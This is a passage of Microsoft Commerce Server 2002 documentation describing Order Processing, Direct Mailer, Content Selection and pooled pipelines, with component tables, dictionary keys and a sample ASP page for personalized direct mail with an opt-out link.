  • If a component determines that it cannot or should not perform the task for the stage, it should leave the dictionary entry for the stage alone. The payment_method key is a commonly used apply dictionary key in the Payment stage and the component should only continue to run if the proper payment_method key value is set. For example, the user chose to pay by credit card and the credit card component set the payment_method key to credit_card. Then, when the electronic currency component is run it checks to see if the payment_method key is set to electronic currency, and when it determines that the payment method key is not set to electronic currency, it should not apply the rest of the component by charging the user via electronic currency.

Component coordination is critical in the following stages:

  • Shipping. Component coordination is critical for backward compatible components, but usually is not necessary when using the new multiple-shipping shipment architecture in Commerce Server. The _cy_shipping_total key must be coordinated. The shipping_method key is the apply key.
  • Handling. The _cy_handling_total key must be coordinated. The shipping_method key is the apply key.
  • Tax. Although this stage should be coordinated, it is recommended that you have only one tax component in your pipeline. Having only one tax key makes Commerce Server Business Desk management easier. The _cy_tax_total is the key to coordinate. The country key is the apply key.
  • Payment. The payment_method key is the key to coordinate and the apply key.

For information about building pipeline components, see Building Pipeline Components.


Specifying the Basis Item Key

Many of the Order Processing pipeline components use a Basis Item Key to determine applicable rates. For this key, you can use any of the values in the following table.

Basis Item Key Prefix | Description
order.fieldname | The value of the specified field, where fieldname is a property on the order form.
sum.fieldname | The sum of the value of the specified field for each item, where fieldname is a property in the item list.
sumq.fieldname | The sum of the value of the specified field for each item, where fieldname is a property in the item list, times the quantity of that item.
count | The number of line items in the order form. (Does not depend on quantity of each item.)

The following table shows some useful values for the Basis Item Key.

Example Basis Item Key | Result
order._oadjust_subtotal | Subtotal on the order form.
sum.quantity | Sum of all quantities (total number of items ordered).
sum._oadjust_adjustedprice | Sum of adjusted prices.
sumq._iadjust_currentprice | Sum of current price times quantity for all items in the order.
sumq._product_weight | Total weight of order. (Assumes that the weight column exists in the product table and that the query used by the QueryProdInfoADO component includes this field.)

For example, if the sumq._product_weight key is specified, and if the order has two items, one item weighing 2 pounds with a quantity of 3 and the other item weighing 4 pounds with a quantity of 1, then the basis value is 10 pounds.


Order Processing Pipelines Component Reference

The following components are commonly run in the Order Processing pipelines (OPP):

  • DBOrderPromoADO
  • DefaultHandlingCy, DefaultHandling
  • DefaultItemPriceCy, DefaultItemPrice
  • DefaultOrderSubTotalCy, DefaultOrderSubTotal
  • DefaultPayment
  • DefaultShippingCy, DefaultShipping
  • DefaultShopperInfo
  • DefaultTaxCy, DefaultTax
  • DefaultTotalCy, DefaultTotal
  • ExecuteProcess
  • FixedHandling
  • FixedShipping
  • FlagInventory
  • ItemPromo
  • LinearHandling
  • LinearShipping
  • LocalInventory
  • MakePO
  • MoneyConverter
  • OrderDiscount
  • POtoFile
  • QueryCatalogInfo
  • QueryProdInfoADO
  • RequiredHandlingCy, RequiredHandling
  • RequiredItemAdjustPriceCy, RequiredItemAdjustPrice
  • RequiredItemPriceCy, RequiredItemPrice
  • RequiredOrderAdjustPriceCy, RequiredOrderAdjustPrice
  • RequiredOrderCheck
  • RequiredOrderInitCy, RequiredOrderInit
  • RequiredOrderSubtotalCy, RequiredOrderSubtotal
  • RequiredPayment
  • RequiredProdInfo
  • RequiredShippingCy, RequiredShipping
  • RequiredTaxCy, RequiredTax
  • RequiredTotalCy, RequiredTotal
  • SaleAdjust
  • SampleRegionalTax
  • SaveReceipt
  • Scriptor
  • SendSMTP
  • ShippingDiscountAdjust
  • ShippingMethodRouter
  • SimpleCanadaTax
  • SimpleJapanTax
  • SimpleUSTax
  • SimpleVATTax
  • SQLItemADO
  • SQLOrderADO
  • StepwiseShipping
  • TableHandlingADO
  • TableShippingADO
  • ValidateCCNumber


Direct Mailer Pipeline

The Commerce Server Direct Mailer program (Dmlrun.exe) uses a pipeline to process the list of recipients. You can add new components to the pipeline, integrate the components with line-of-business systems, or replace them with components supplied by third parties.

This section contains:

  • About the Direct Mailer Pipeline. Describes the function and structure of the Direct Mailer pipeline.
  • Using the Direct Mailer Pipeline. Explains how to use the Direct Mailer pipeline.
  • Direct Mailer Component Reference. Lists the pipeline components used in the Direct Mailer pipeline.


About the Direct Mailer Pipeline

The Commerce Server Direct Mailer program (Dmlrun.exe) uses a pipeline to process the list of recipients. In general, you will use the Direct Mailer pipeline as it is shipped with the product. However, you can add your own or third-party components to extend the features of the pipeline. For more information, see Building Pipeline Components.

Because of the load on a server, installing the Direct Mailer service on a separate server is recommended. For information about running Direct Mailer, see Running Direct Mailer.

This section contains:

  • Stages and Components of the Direct Mailer Pipeline. Describes the components in each stage of the Direct Mailer pipeline.


Stages and Components of the Direct Mailer Pipeline

The Direct Mailer pipeline runs components that screen recipients and personalize e-mail, and then send the personalized e-mail. The following table lists the stages of the pipeline.

Stage | Description
Throttle | Controls the speed of the Direct Mailer process.
Preprocess Recipient | Verifies the data about the recipient.
Filter Recipient | Allows additional filtering of the recipient list.
Create Cookies | Creates the cookies used to produce personalized content. The Direct Mailer uses a Web server to generate the content.
Compose E-mail | Composes and formats the message.
Send E-mail | Sends the message.
Postprocess Recipient | Updates the Direct Mailer database to mark those messages that were sent, and writes the appropriate error messages if needed.

Throttle Stage

The Throttle stage controls the speed with which direct mail messages are processed by the pipeline. This controls the load on the Simple Mail Transfer Protocol (SMTP) server.

The components related to this stage are shown in the following table.

Component | Description
ThrottleDMLPerformance | Waits a specified number of milliseconds. The Direct Mailer program, Dmlrun.exe, calculates the delay needed to maintain an appropriate delivery rate. It passes this delay to the ThrottleDMLPerformance component through the Context dictionary.

Preprocess Recipient Stage

The Preprocess Recipient stage verifies data such as whether there is a recipient address.

The components related to this stage are shown in the following table.

Component | Description
VerifyRecipientData | The VerifyRecipientData component checks multiple values in the pipeline dictionaries to verify data about the recipient. If any one of the checks fails, the component sets the RCP_BYPASS key to True so that subsequent components in the pipeline skip the recipient.

Filter Recipient Stage

The Filter Recipient stage can perform additional filtering of potential e-mail recipients. Microsoft Commerce Server 2002 includes no component for this stage (other than the Scriptor component). However, you can add your own custom component to perform filtering. For more information, see Building Pipeline Components.

Testing recipient names against an opt-out list could be performed in this stage. However, you may have better performance if you remove the opt-out names from the mailing list in the List Manager module before running the mail job.

Components that you write for this stage should check and, if necessary, set the rcp_bypass key in the Order dictionary. The component should set the rcp_bypass key to True if subsequent components in the pipeline should skip the recipient.

Create Cookies Stage

This stage collects data to create a cookie to use with an Active Server Page to generate a personalized message.

The components related to this stage are shown in the following table.

Component | Description
CreateUPMCookie | Combines information from the Order and Context dictionaries and creates a Cookie dictionary in the Order dictionary containing the information.

Compose E-mail Stage

The Compose E-mail stage creates the body of the e-mail message and adds any attachments.

The components related to this stage are shown in the following table.

Component | Description
ComposeDMLMessage | Creates the body of a direct mail e-mail message. Generates the cookie from data in the Cookie dictionary if the e-mail is personalized.
AddAttachments | Uses the Collaboration Data Objects (CDO) for Microsoft Windows 2000 to add the attachments to the message.

Send E-mail Stage

The Send E-mail stage verifies the body of a direct mail e-mail message and sends the message.

The components related to this stage are shown in the following table.

Component | Description
VerifyMessageBody | Use this component to check the body of a direct mail e-mail message.
SendPrecomposedMessage | Use this component to send a direct mail e-mail message composed in earlier stages in the pipeline.

Postprocess Recipient Stage

The Postprocess Recipient stage can perform additional recipient processing such as recording information in a database. Commerce Server 2002 includes no component for this stage (other than the Scriptor component). However, you can add your own custom components. For more information, see Building Pipeline Components.


Using the Direct Mailer Pipeline

You can create personalized direct mail e-mail messages by writing a custom ASP page. Similarly, you can add third-party or custom components to the Commerce Server Direct Mailer pipeline. Those components need implement only the standard pipeline component interfaces. They also, however, need to understand the dictionary keys used by components in the pipeline.

This section contains:

  • Developing Direct Mail Content. Describes how to write an ASP page for use in sending personalized direct mail e-mail.
  • Implementing Direct Mail Opt-Out. Contains information on how to provide a link in direct mail e-mail messages to allow users to opt out of future mailings.
  • Values in the Direct Mailer Pipeline Dictionaries. A list of the keys used in the Direct Mailer pipeline dictionaries.


Developing Direct Mail Content

The Direct Mail module of Commerce Server 2002 allows you to send targeted email messages by using customer information and custom Active Server Pages (ASP). Direct Mailer acts similarly to a Web browser by gathering the UserID for the customer from a cookie, and using the profile service to obtain the user profile and personalize the page. But Direct Mailer renders the content as an e-mail message instead of a Web page.

The following example, ServiceReminder.asp, can be used to create Direct Mail content. When implemented, this ASP file will send out personalized e-mail messages reminding each of your customers to come to your Web site to view new products. The ASP file also includes an opt-out link if they would like to be removed from your mailing list.

In this example, the UserID is retrieved from the AuthManager object, and the UserObject profile is retrieved from the profile service. For personalization to work correctly with this example, the mailing list must include both an e-mail address and a UserID for all entries. If the mailing list has no UserID, the mail will not be sent. If the personalization flag is not turned on, the mail will not be sent. For more information about creating a mailing list, see Creating a Mailing List.

<%@ Language=VBScript %>

<%

Option Explicit

Response.AddHeader "pragma", "no-cache"

Response.Expires = 0

%>

<html>

<head>

</head>

<div class=Section1>

<%

Dim objAuthManager

Dim objUPM

Dim objProfile

Dim strUserID

Dim sCookieData

On Error goto 0

' Get User ID from AuthManager object.

SET objAuthManager = Server.CreateObject("Commerce.AuthManager")

objAuthManager.Initialize(Application("MSCSCommerceSiteName"))

if( Err.number <> 0 ) Then

Response.Write "<P>AuthManager Failed to initialize</P>"

End If

If Request.Cookies("CampaignItemID") <> "" Then' Part of a Campaign

strUserID = objAuthManager.GetUserID(1)

if( Err.number <> 0 ) Then

Response.Write "<P>Failed to get UserID</P>"

End If

Else' Not part of a Campaign

' The fix for being able to send personalized direct mail outside ' of a campaign is to toggle the comments on the two lines below.

' But please ensure that the web server that generates the

' personalized content is placed behind a firewall (since the user

' guid that is passed in not encrypted in this case).

Err.Raise &H80004005, , "Error: CampaignItemID was not specified"

' strUserID = Request.Cookies("MSCSProfile")

End If

' Get UserObject from profile Service

Set objUPM = Application("MSCSProfileService")

If (Err.Number <> 0) Then

Response.Write "<P>Failed to create Commerce.ProfileService</P>"

End If

Set objProfile = objUPM.GetProfileByKey("User_ID", strUserID, "UserObject")

If (Err.Number <> 0) Then

strErrMsg = "<P>User profile not found: " & strUserID & "</P>"

Response.Write strErrMsg

End If

%>

<table border=1 cellspacing=0 cellpadding=0 bgcolor="#ffff99" style='background:

#FFFF99;border-collapse:collapse;border:none;mso-border-alt:solid windowtext .5pt;

mso-padding-alt:0in 5.4pt 0in 5.4pt'>

<tr>

<td width=655 valign=top style='width:490.9pt;border:solid windowtext .5pt;

padding:0in 5.4pt 0in 5.4pt'>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family: "MS Mincho"'>

From: E-mail Notifier<o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'>Sent: <% = Date() %><o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'>To: <% = objProfile.GeneralInfo.First_Name %><o:p> </o:p><% = objProfile.GeneralInfo.Last_Name %><o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'>Subject: </span><b><span style='font-size:12.0pt;

mso-bidi-font-size: 10.0pt;font-family:Tahoma;

mso-fareast-font-family:"MS Mincho";color:blue'>

New product notice</span></b><span style='mso-fareast-font-family:

"MS Mincho"'><o:p></o:p></span></p>

</td>

</tr>

</table>

<p class=MsoPlainText><b><span style='font-size:12.0pt;

mso-bidi-font-size:10.0pt; mso-fareast-font-family:

"MS Mincho";color:blue'><![if

!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></b></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'>Dear <% = objProfile.GeneralInfo.First_Name

%>,<o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'><span style="mso-spacerun: yes">

</span><o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family: "MS Mincho"'>

<span style="mso-spacerun: yes"> </span>We have added some exciting

new products to our Web site. <o:p></o:p>

<A HREF="<% =objAuthManager.GetUrl("default.asp", False, False)

%>">Come see us today!</A>.<o:p></o:p></span></p>

<p class=MsoNormal style='mso-layout-grid-align:none;

text-autospace:none'><span style='font-size:10.0pt;

font-family:Arial;color:navy'>

<![if !supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></p>

<p class=MsoNormal style='mso-layout-grid-align:none;

text-autospace:none'><span style='font-size:10.0pt;

font-family:Arial;color:navy'><span style='mso-tab-count:

1'> </span><o:p></o:p></span></p>

<p class=MsoPlainText><span style='mso-fareast-font-family:

"MS Mincho"'>__________________________________________

<o:p></o:p></span></p>

<p class=MsoPlainText><i><span style='font-size:8.0pt;

mso-bidi-font-size:10.0pt; font-family:Verdana;

mso-fareast-font-family:"MS Mincho"'>TO UNSUBSCRIBE: You

have received this e-mail notifier as a result of your personal

registration.<BR>To unsubscribe from this e-mail notifier, click

the link below. <o:p></o:p></span></i></p>

<p class=MsoPlainText><i><span style='font-size:8.0pt;

mso-bidi-font-size:10.0pt;

font-family:Verdana;mso-fareast-font-family:"MS Mincho"'>

<A HREF="<% On Error Goto 0

Response.Write objAuthManager.GetUrl

("opt-out.asp", False, False, _

Array("rcp_email", "campitem_id", "campitem_name"), _

Array(CStr(objProfile.GeneralInfo.email_address),

CStr(Request.Cookies("CampaignItemId")),

CStr(Request.Cookies("CampaignItemName"))) _

) %>">Click here to opt-out of future

mailings.</A><o:p></o:p></span></i></p>

</div>

</body>

</html>

To use this example you must first create a campaign

On the Campaign Manager <Customer> <Campaign> New (direct mail) screen, in the Direct Mail Properties section, and then do the following.

Use this | To do this
Direct mail name | Type a name for the direct mail job.
Message from e-mail address | Type the address that the direct mail is being sent from.
Reply to e-mail address | Type the address to which the recipient is to reply if different from the default address. This box defaults to the address the direct mail is being sent from.
Message subject | Type the subject text for this direct mail job.
File path or URL containing message body | Type the URL that you are using to display the direct mail message. For example, http://<host_name>/<site_name>/ServiceReminder.asp.
Attachment | Leave blank.
Mailing list | Select the mailing list that this direct mail campaign will use from the drop-down list. This mailing list must have e-mail addresses and valid UserIDs; other columns are optional.
Personalize direct mail per user | Select the check box.
Mail format | Select MHTML.
Comments (not included in message) | Type any required comments that are pertinent to this direct mail job.

If you are sending the ServiceReminder.asp code from the command line you must comment out the following line:

Err.Raise  &H80004005, , "Error: CampaignItemID was not specified"

and uncomment the following line:

' strUserID = Request.Cookies("MSCSProfile")

This is shown in comments in the ServiceReminder.asp code.

For more information about sending a test message, see Testing Direct Mail.


Implementing Direct Mail Opt-Out

Direct mail e-mail should always, at a minimum, provide a way for the recipient to opt out of future mailings. Where you send direct mail from determines the effects of opt-out links on your mailing lists.

For Direct Mail sent from Business Desk

The unpacked site associated with the Commerce Server Business Desk module includes an ASP page that takes a query string consisting of the e-mail address of the recipient, the campaign item ID, and the campaign name. When a user clicks on the opt-out link on the direct mail message sent from Business Desk, the user will be added to the opt-out list for the particular campaign that the direct mail was sent from. A user on mailing lists for multiple campaigns will continue to receive direct mail from all campaigns except for the campaign that the direct mail was sent from.

In the direct mail e-mail you send, you can include a link to the opt-out ASP page. The code for a link might appear as follows:

Click

<A HREF="http://mswaldofr/retail/opt-out.asp?rcp_email=mailuser8@passport.com&campitem_id=2&campitem_name=TestMail&MSCSProf">
 here </A> if you do not wish to receive future mailings.

The text the user would see in the e-mail would be "Click here if you do not wish to receive future mailings."

For Direct Mail sent from the command line

Direct mail sent from the command line is not associated with any campaign. Therefore the opt-out ASP page takes a query string containing only the e-mail address of the recipient. When a user clicks on the opt-out link on the direct mail message sent from the command line, the user will be added to the global opt-out list, and subsequently will be removed from all future mailings.

Note

  • If direct mail is sent using the Send Test Mail dialog box in Business Desk, and the recipient is on the opt-out list for the site, the recipient will still receive the mail. Opt-out links sent in direct mail messages from the Send Test Mail dialog box in Business Desk do not use the ListManager object to subtract the opt-out lists from the test mail mailing list. Additionally, if a user is not on a campaign opt-out list, and clicks the opt-out link in the test mail, the user will be added to the opt-out list.

For more information about the opt-out link included in the sample direct mail code, see Developing Direct Mail Content. If the direct mail is sent from the command line, and the recipient clicks the opt-out link, the recipient will be added to global opt-out lists, and will no longer receive direct mail. If the direct mail is sent from the Business Desk module, any recipient who clicks the opt-out link will be added to the opt-out list for the campaign. A recipient on multiple campaign mailing lists will continue to receive direct mail from the other campaigns.


Values in the Direct Mailer Pipeline Dictionaries

The following table lists the keys used in the Commerce Server Direct Mailer pipeline dictionaries. Like other pipelines, the Direct Mailer pipeline uses two dictionaries: a Context (read-only) dictionary and an Order (read/write) dictionary.

Key | Dictionary | Description
Attachments | Order | A SimpleList of URLs pointing to attachments.
campaign_item | Context | The campaign item ID.
campaign_item_name | Context | The name of the campaign item.
cdo_config | Context | A reference to a Collaboration Data Objects (CDO) configuration object (CDO.Configuration).
cdo_error | Order | An error string from the most recent CDO operation, if any. NULL if no error.
cdo_message | Context | A reference to a CDO message object (CDO.Message).
cdo_result | Order | The result code (an HRESULT) from the most recent CDO for Microsoft Windows 2000 operation.
Cookie | Order | The dictionary containing the cookie data.
css_site | Context | The site ID string.
default_formatting | Context | The default format for the message.
default_locale | Order | The locale code to use if there is no recipient locale code (rcp_locale).
default_url | Context | The URL used to retrieve the mailing content.
default_url_content | Context | The content of the file pointed to by default_url if default_url_isfile is True.
default_url_isfile | Context | True if the default URL is a file path and not an http:// path.
delay_msec | Context | The delay between messages in milliseconds.
from_field | Order | The "From" field for the message.
messages_sent | Order | The total number of messages sent for this pipeline cycle.
precomposed_body | Order | The plain-text message body. Defaults to an empty string.
rcp_bypass | Order | Boolean. Component bypasses (skips) processing if True.
rcp_email | Order | The e-mail address of the recipient.
rcp_formatting | Order | The format of the message.
rcp_guid | Order | The GUID uniquely identifying this recipient, taken from the user profile.
rcp_locale | Order | The locale code to use for the recipient.
rcp_personalize | Order | Numeric. Whether or not to personalize the message for this recipient.
rcp_url | Order | The URL used to retrieve the mailing content. Takes precedence over default_url.
rcp_url_content | Order | The content of the file pointed to by rcp_url if rcp_url_isfile is True.
rcp_url_isfile | Order | True if the URL for the content (rcp_url) is a file and not an http:// address.
replyto_field | Order | The "Reply-to" field for the message.
subj_field | Order | The "Subject" field for the message.
use_precomposed_body | Order | Boolean. If True, the component creates the message from the plain-text body assigned to the precomposed_body key.
user_flags | Order | A bit mask indicating elements of the message to check. Only the rightmost bit is currently used.


Direct Mailer Component Reference

The following components are commonly run in the Direct Mailer pipeline:

  • AddAttachments
  • ComposeDMLMessage
  • CreateUPMCookie
  • SendPrecomposedMessage
  • ThrottleDMLPerformance
  • VerifyMessageBody
  • VerifyRecipientData


Content Selection Pipelines

The Content Selection pipelines are a significant part of the Content Selection Framework (CSF). They are used to select content or discounts, and to record events such as ad click-throughs.

This section contains:

  • About Content Selection Pipelines. Describes the role of Content Selection pipelines in the CSF, and introduces the two different forms of Content Selection pipelines.
  • Stages and Components in Content Selection Pipelines. Describes the individual stages in Content Selection pipelines and the components most often used in those stages.
  • Using Content Selection Pipelines. Explains how to use Content Selection pipeline components in Commerce Server sites.
  • Content Selection Component Reference. Lists the pipeline components used in Content Selection pipelines.


About Content Selection Pipelines

Content Selection pipelines are used with the CacheManager object and the ContentSelector object to select content items or other custom content, including discounts.

The advertising and discount delivery engines in Microsoft Commerce Server 2002 are built using Content Selection pipelines. You can create your own pipelines to do different types of content selection.

Two distinct pipelines exist for each content selection application. The first pipeline is responsible for selecting content to be displayed, and is known as the Content Selection pipeline (CSP). It is based on the ContentSelection.pct pipeline-template file. The second pipeline is responsible for processing events related to the displayed content, and is known as the Event Processing pipeline (EPP). An example of such an event is a user clicking on an ad or an ad being selected for display on a page. The pipeline is based on the EventProcessing.pct pipeline-template file.

Note

  • Although Content Selection pipelines are used to select discounts, the discounts are not applied in Content Selection pipelines. Discounts are applied to orders by the OrderDiscount pipeline component in an Order Processing pipeline.

The following table shows the CSP stages and the pipeline components provided for each of those stages, for each application.

CSP Stage | Advertising Application Pipeline Components | Discount Application Pipeline Components
Load Context | InitCSFPipeline LoadHistory | InitCSFPipeline LoadHistory
Filter | FilterContent | FilterContent
Initial Score | AdvertisingNeedOfDelivery | Not applicable
Score | HistoryPenalty EvalTargetGroups | ScoreDiscounts HistoryPenalty EvalTargetGroups
Select | SelectWinners | SelectWinners
Record | RecordHistory SaveHistory RecordEvent IISAppendToLog | RecordHistory SaveHistory RecordEvent IISAppendToLog
Format | FormatTemplate | FormatTemplate

The following table shows the EPP stages and the pipeline components provided for each of those stages, for each application.

EPP Stage | Advertising Application Pipeline Components | Discount Application Pipeline Components
Load Context | None | None
Record | RecordEvent IISAppendToLog | RecordEvent IISAppendToLog
Format | None | None


Stages and Components in Content Selection Pipelines

The following sections describe the stages and components in the Content Selection and Event Processing pipelines. The Content Selection pipeline selects custom content, such as ads or discounts, while the Event Processing pipeline processes events such as a user clicking on an ad.

This section contains:

  • Content Selection Pipeline
  • Event Processing Pipeline


Content Selection Pipeline

The Content Selection pipeline runs components that gather, filter, score, and select content. This pipeline is often used to select ads or discounts.

The Content Selection pipeline consists of the following stages:

  • Load Context Stage
  • Filter Stage
  • Initial Score Stage
  • Scoring Stage
  • Select Stage
  • Record Stage
  • Format Stage

Load Context Stage

This stage contains components that prepare for the execution of the rest of the pipeline.

The components related to this stage are shown in the following table.

Component | Description
InitCSFPipeline | Initializes values needed in the remainder of the pipeline.
LoadHistory | Retrieves a history string from a user profile, an item in the Active Server Pages (ASP) session collection, or a cookie.

Filter Stage

This stage contains components that filter or trim the content list.

The components related to this stage are shown in the following table.

Component | Description
FilterContent | Applies provided filters to the content list.

Initial Score Stage

This stage sets an initial score for each content item.

The components related to this stage are shown in the following table.

Component | Description
AdvertisingNeedOfDelivery | Scores ads so that they are selected often enough to meet business commitments.

Scoring Stage

This stage contains components that adjust the scores of each content item.

The components related to this stage are shown in the following table.

Component | Description
EvalTargetGroups | Targets particular groups for advertising, content, or discounts by evaluating a list of expressions for each item in the list and adjusting item selection.
HistoryPenalty | Applies penalties to content items based on how recently they have been selected.
ScoreDiscounts | Adjusts scores of discount items to promote discounts most relevant to the current user.

Select Stage

This stage, usually containing a single component, selects one or more content items for return.

The components related to this stage are shown in the following table.

Component | Description
SelectWinners | Selects items based on their final scores.

Record Stage

This stage contains components that record the selection made to a database, the server log file, or a history string.

The components related to this stage are shown in the following table.

Component | Description
IISAppendToLog | Records information about content selection results in the QueryString field of the Internet Information Services (IIS) log file.
RecordEvent | Records event delta counts for the selected content items (the winners) in the Performance dictionary. The values are used to calculate the Need of Delivery (NOD) of an item.
RecordHistory | Records the identifiers of the winning content items in the history list string.
SaveHistory | Saves the history string in one of three locations: the user profile object, the ASP session collection, or the HTTP cookie.

Format Stage

This stage contains components that format selected items as HTML or XML for return to the page that ran the pipeline.

The components related to this stage are shown in the following table.

Component | Description
FormatTemplate | Merges data from selected items with their associated templates to form formatted strings. These are usually HTML strings ready for display on the page.


Event Processing Pipeline

The Event Processing pipeline runs components that record the occurrence of particular events, such as a user clicking on a particular ad.

The Event Processing pipeline consists of the following stages:

  • Load Context Stage
  • Record Stage
  • Format Stage

Load Context Stage

Microsoft Commerce Server 2002 includes no components for this stage. This stage is provided for custom extensions to the Content Selection Framework (CSF) or for future enhancements to Commerce Server 2002.

Record Stage

This stage contains components that record the selection made to a database, the server log file, or a history string.

The components related to this stage are shown in the following table.

Component | Description
IISAppendToLog | Records information about content selection results in the QueryString field of the Internet Information Services (IIS) log file.
RecordEvent | Records event delta counts for the selected content items (the winners) in the Performance dictionary. The values are used to calculate the Need of Delivery (NOD) of an item.

Format Stage

Microsoft Commerce Server 2002 includes no components for this stage. This stage is provided for custom extensions to the CSF or for future enhancements to the Commerce Server platform.


Using Content Selection Pipelines

Using Content Selection pipelines included in Microsoft Commerce Server 2002 requires setting up the CacheManager object and the information required by the ContentSelector object. However, custom Content Selection pipelines may or may not use the CacheManager object depending on the size of the content to cache. For code to set up the CacheManager and the ContentSelector objects, see Content Selection Objects.

You can trace the actions of Content Selection pipelines by turning trace mode on for the pipeline. Trace mode uses the ContentSelector object to pass the value to the pipeline. In the following example, if oContentSelector were a ContentSelector object, then the line of code would appear as follows:

oContentSelector.Trace=True

Note

  • Trace mode should not be turned on when running Content Selection pipelines in production Web sites.


Content Selection Component Reference

The following components are commonly run in Content Selection pipelines:

  • AdvertisingNeedOfDelivery
  • EvalTargetGroups
  • FilterContent
  • FormatTemplate
  • HistoryPenalty
  • IISAppendToLog
  • InitCSFPipeline
  • LoadHistory
  • RecordEvent
  • RecordHistory
  • SaveHistory
  • ScoreDiscounts
  • SelectWinners

In addition, the following writer and cache loader components play an important role in Content Selection pipelines:

  • CSFLoadAdvertisements
  • CSFLoadDiscounts
  • CSFWriteEvents


Pooled Pipelines

Commerce Server 2002 Enterprise Edition pooled pipelines use COM+ object pooling to increase both loading and execution speed.

This section contains:

  • About Pooled Pipelines. Describes the PooledPipeline and PooledTxPipeline objects, how pooled and non-pooled components can be run in pooled pipelines, and provides debugging suggestions.
  • Managing Pooled Pipelines. Describes how to change properties of pooled pipeline components in order to maximize pipeline performance, and describes the Commerce Server tools you can use to monitor performance of your pooled pipelines.
  • Poolable Component Reference. Lists all components that are tagged as poolable.


About Pooled Pipelines

Commerce Server 2002 Enterprise Edition supplies two pooled pipeline objects, one for non-transacted pipelines (PooledPipeline) and one for transacted pipelines (PooledTxPipeline). Their use is identical to that of the non-pooled pipeline objects MtsPipeline and MtsTxPipeline. The difference between the two sets of pipelines is that the pooled pipeline objects are registered under COM+ to take advantage of object pooling.

Each of the pooled pipeline objects maintains a table of pipelines. When a pipeline is loaded, a pooled pipeline object first looks in its table of pipelines to see if the pipeline is already loaded. If the pipeline is not loaded already, the pooled pipeline object loads the pipeline and adds an entry to its protected table of pipelines. When the Execute method is called, the pipeline is retrieved from the table and run.

The individual components of a pooled pipeline (if they are poolable) are created once, and then held by the pipeline in the object pool. To be poolable, pipeline components must be free-threaded and cannot maintain state information between executions. Pipeline components written in Microsoft Visual Basic are apartment-threaded; they cannot be pooled. Non-poolable components can still be run within pooled pipelines. However, these components are created each time there is an Execute method call. When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_MSCSPIPELINE_POOLABLE, to the component to make it poolable. For more information about making a pipeline poolable, see Registering the ATL Component.

Although pooled pipelines are recommended in all new sites, older pipeline objects should be used during debugging. Because pipelines are effectively cached, changes to pipeline configurations may not take effect until either Microsoft Transaction Server (MTS) or Internet Information Services (IIS) is restarted. The objects MtsPipeline and MtsTxPipeline can be used for debugging a new pipeline and the objects PooledPipeline or PooledTxPipeline can be used in the production site.


Managing Pooled Pipelines

You can change properties of COM+ object pools and monitor the performance of those pools using the Component Services administrative tool.

By monitoring pipeline performance and adjusting the parameters of the pooled objects, you can optimize pipeline pooling for your application.

This section contains:

  • Changing Pool Properties of Components
  • Monitoring Pooled Object Performance


Changing Pool Properties of Components

You can specify several properties that determine how COM+ handles the pool of pipeline objects. These properties include:

  • Minimum pool size
  • Maximum pool size
  • Creation request timeout

The minimum pool size is the minimum number of objects that are in the pool and the number of objects created when the application starts. When the pool reaches the maximum pool size, no more objects are created. This includes both active and inactive objects. The creation request timeout value is in milliseconds and specifies how long a client will wait for an object from the pool before the request times out (returns an E_TIMEOUT error).

To change pool properties

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand Component Services, expand Computers, expand My Computer, expand COM+ Applications, expand CommercePipeline, and then expand Components.
  3. Right-click the pipeline you want to change, and then select Properties.
  4. In the Properties dialog box, on the Activation tab, do the following:
    Use this | To do this
    Enable object pooling | Enable object pooling for the component.
    Minimum pool size | Type the minimum number of objects that will be maintained in the pool at any time.
    Maximum pool size | Type the maximum number of objects that can exist in the pool at any time.
    Creation timeout (ms) | Type the amount of time (in milliseconds) that the object pool has to provide a requested object.
    Enable object construction | Enable object construction for the component.
    Constructor string | Type a string that will be made available to the object at creation time when object construction is enabled.
    Enable Just in Time Activation | Specify that the object may be repeatedly deactivated and reactivated just in time to handle calls from a client, where the client is unaware that the object was ever deactivated.
    Component supports events and statistics | Enable object event reporting and object statistics, such as object call time.
    Must be activated in caller's context | Ensure that the object can only be activated within the context of its initial caller.
  5. Click OK.

The new pool properties are saved.


Monitoring Pooled Object Performance

You can actively monitor pooled object performance in the Component Services administrative tool. The tool allows you to view the items listed in the following table for each pooled object.

Column | Description
Prog ID | The programmatic identifier of the object.
Objects | Number of objects currently held by clients.
Activated | Number of objects that are currently activated.
Pooled | Total number of objects created by the pool. Includes objects in use and deactivated objects.
In Call | Number of objects in the process of being called.
Call Time | The average call duration of method calls made in the last 20 seconds.

To monitor object status

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand Component Services, expand Computers, expand My Computer, expand COM+ Applications, and expand CommercePipeline.
  3. Right-click Components, select View, and then select Status View. The Status View appears on the right of the Component Services screen.


Poolable Component Reference

The following list contains the pipeline components that are tagged as poolable.

A-D

AddAttachment, AdvertisingNeedOfDelivery, ComposeDMLMessage

CreateAUOCookie, DefaultHandling, DefaultHandlingCy

DefaultItemPrice, DefaultItemPriceCy, DefaultOrderSubTotal

DefaultOrderSubTotalCy, DefaultPayment, DefaultShipping

DefaultShippingCy, DefaultShopperInfo, DefaultTax

DefaultTaxCy, DefaultTotal, DefaultTotalCy

E-Q

EvalTargetGroups, FilterContent, FixedHandling

FixedShipping, FlagInventory, FormatTemplate

HistoryPenalty, IISAppendToLog, InitCSFPipeline

LinearHandling, LinearShipping, LoadCSFHistory

LocalInventory, MoneyConverter, OrderDiscount

QueryCatalogInfo, QueryProdInfoADO

R

RecordCSFHistory, RecordEvent, ReduceLocalInventory

RequiredHandling, RequiredHandlingCy, RequiredItemAdjust

RequiredItemAdjustCy, RequiredItemAdjustPrice, RequiredItemAdjustPriceCy

RequiredItemPrice, RequiredItemPriceCy, RequiredOrderAdjust

